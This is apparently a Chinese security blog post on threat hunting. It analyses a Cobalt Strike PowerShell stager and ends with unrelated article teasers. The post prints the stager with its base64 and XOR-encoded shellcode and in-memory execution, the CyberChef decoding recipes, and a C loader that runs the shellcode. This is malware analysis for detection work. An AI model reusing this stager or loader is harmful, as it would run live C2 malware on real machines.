<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    威脅狩獵tips 210827-210916

    VSole2021-09-16 22:40:57

    Part 1樣本分析

    01

    CS powershell payload分析

    CS powershell的代碼如下所示

    Set-StrictMode -Version 2
    function func_get_proc_address {  Param ($var_module, $var_procedure)      $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))  return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}
    function func_get_delegate_type {  Param (    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,    [Parameter(Position = 1)] [Type] $var_return_type = [Void]  )
      $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])  $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')  $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
      return $var_type_builder.CreateType()}
    If ([IntPtr]::size -eq 8) {  [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim7M8IyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDBFFUncjijb/JdOBccoNCfRt/gYE1C5KBfph47IcCRbhkDT/M/HH9TaPwbugyN0Hk5C7ZdVaogVoUoMzA/7VhgWCqlRmzKkHroKnePbfWSN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFQ0TCi4pI0D4ETbyn30sxC5WfeAk/O6zzJxBKD2hmdj0Tlx7EWIveQApd5mSzwcIaPpoAqvEFO3nCppyVcu7DYvCY4xpIyYnAR3ZHustK/fU5pDVsuzT+GZt1Pf9l/yybwhvmif1EQaA+wGPlwio/AMbNhglHXKWB7Dgl7Gfi5yXtgXQilsezEFpKQxaB9Ltr5NXLIolvj3JK9s8beuLUw8Whx1L3gbAqGOF320Fc2T88oRDJrdz8A3WASvTwA3xIkgN7B9QtB0Rnb16X+wMXWoIuyxGyZNcdUeuFwwrScbulKx8qaRhCaXzWSChFrPnoHtgdQcjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BINEhYNEhYUDRERGiMxF3Vb')
      for ($x = 0; $x -lt $var_code.Count; $x++) {    $var_code[$x] = $var_code[$x] -bxor 35  }
      $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))  $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)  [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
      $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    

    可以看到相關的解密代碼如下所示

    for ($x = 0; $x -lt $var_code.Count; $x++) {    $var_code[$x] = $var_code[$x] -bxor 35   }
    

    從FromBase64String函數處提取payload,并用base64和異或進行解密

    可以用CyberChef幫助我們進行解密

    https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')XOR(%7B'option':'Decimal','string':'35'%7D,'Standard',false)

    解碼后可以識別到對應的C&C

    也可以提取對應的shellcode

    https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)XOR(%7B'option':'Decimal','string':'35'%7D,'Standard',false)To_Hex('Space',0)

    shellcode如下所示

    fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 ...
    

    用python進行格式化

    sc = [int(b, 16) for b in open("sc.hex").read().split()]    open("sc.bin", "w").write("".join([chr(n) for n in sc]))
    

    之后可以用加載器來測試

    #include #include #include 
    /* * Compile with: * cl /nologo /EHsc test-sc.cpp /Fe:sc.exe * */const char* shellcode =  "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51"  ...";
    typedef void (*funcPtr)();
    int main(int argc, char** argv) {  void* addr = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if (!addr) {    printf("[-] Failed to allocate memory!");    return -1;  }
      memcpy(addr, shellcode, 4096);  funcPtr fp = (funcPtr)(addr);  fp();}
    

    sc調試如下圖

    C&C如下所示

    Part 2

    檢測工具

    01

    grab_beacon_config

    grab_beacon_config是一款提取CS server 服務器beacon配置信息的腳本,能夠幫助我們溯源反制黑客的攻擊,降低資產的風險

    var
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    據外媒報道,在檢測到其系統受到網絡攻擊近兩周后,德國電池制造商Varta AG仍未恢復其工廠的生產。該公司生產各種用于家用和工業用途的電池和存儲產品,包括鋰離子小型化電池和移動電源。Varta AG首次檢測到對其系統的網絡攻擊2月12日,其本周發表聲明稱,目前沒有可靠的信息表明處理和解決攻擊需要多長時間,或者所有五個全球生產基地的何時將全面投入運營。然而,工廠的第一批預計將在下周再次啟動。
    第十一屆信息安全漏洞分析與風險評估大會9月16日,2018世界物聯網博覽會信息安全高峰論壇暨第十一屆信息安全漏洞分析與風險評估大會在無錫市濱湖區成功舉辦。來自政府相關主管部門、重要行業、高等院校、研究機構、物聯網產業界、信息安全產業界等近千名中外嘉賓參加了大會。來自政府部門、高等院校、研究機構、信息安全產業界及應用單位的800余名嘉賓參加了大會。
    /usr/目錄usr是user的縮寫,是曾經的HOME目錄,然而現在已經被/home取代了,現在usr被稱為是Unix System Resource,即Unix系統資源的縮寫。默認軟件都會存于該目錄下。用于存儲只讀用戶數據的第二層次;包含絕大多數的用戶工具和應用程序。
    作為世界物聯網博覽會高峰論壇之一的“2021世界物聯網博覽會信息安全高峰論壇暨第十三屆信息安全漏洞分析與風險評估大會”,將于10月22日召開。
    “2021世界物聯網博覽會信息安全高峰論壇暨第十三屆信息安全漏洞分析與風險評估大會”(VARA大會)將于10月22日在江蘇省無錫市召開。
    Python人工智能第11篇文章介紹如何保存神經網絡參數
    動態函數PHP中支持一個功能叫 variable function ,變量函數的意思。//最終是system;當一個變量后邊帶括號,那他就被視作一個函數。編譯器會解析出變量的值,然后會去找當前是否存在名為“system()”的函數并執行它。這里就不給實例了,很多免殺案例中都用到了這個特性。也是被瘋狂查殺的特征。回調函數回調函數,簡單來說就是一個函數不是由我直接調用,而是通過另一個函數去調用它。
    1Docker 遷移存儲目錄默認情況系統會將 Docker 容器存放在 /var/lib/docker 目錄下[問題起因]?今天通過監控系統,發現公司其中一臺服務器的磁盤快慢,隨即上去看了下,發現?由上述原因,我們都知道,在?中存儲的都是相關于容器的存儲,所以也不能隨便的將其刪除掉。設備進行擴容來達到相同的目的。的詳細參數,請點擊查看?但是需要注意的一點就是,盡量不要用軟鏈, 因為一些?容器編排系統不支持這樣做,比如我們所熟知的?發現容器啟動不了了
    在本次2022 RSAC會議中,來自Varonis公司的Matt Radolec分享了議題《Pain in the Apps — Three Attack Scenarios Attackers Are Using to PWN SaaS》,主要介紹了三種針對SaaS平臺的攻擊場景,詳細地說明了每個階段攻擊者的攻擊手法以及對應的檢測思路
    Meta Platforms 近日采取了一系列措施制裁來自意大利、西班牙和阿拉伯等多國的八家間諜軟件公司,分別是 Cy4Gate/ELT Group、RCS Labs、IPS Intelligence、Variston IT、TrueL IT、Protect Electronic Systems、Negg Group 和 Mollitiam Industries。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类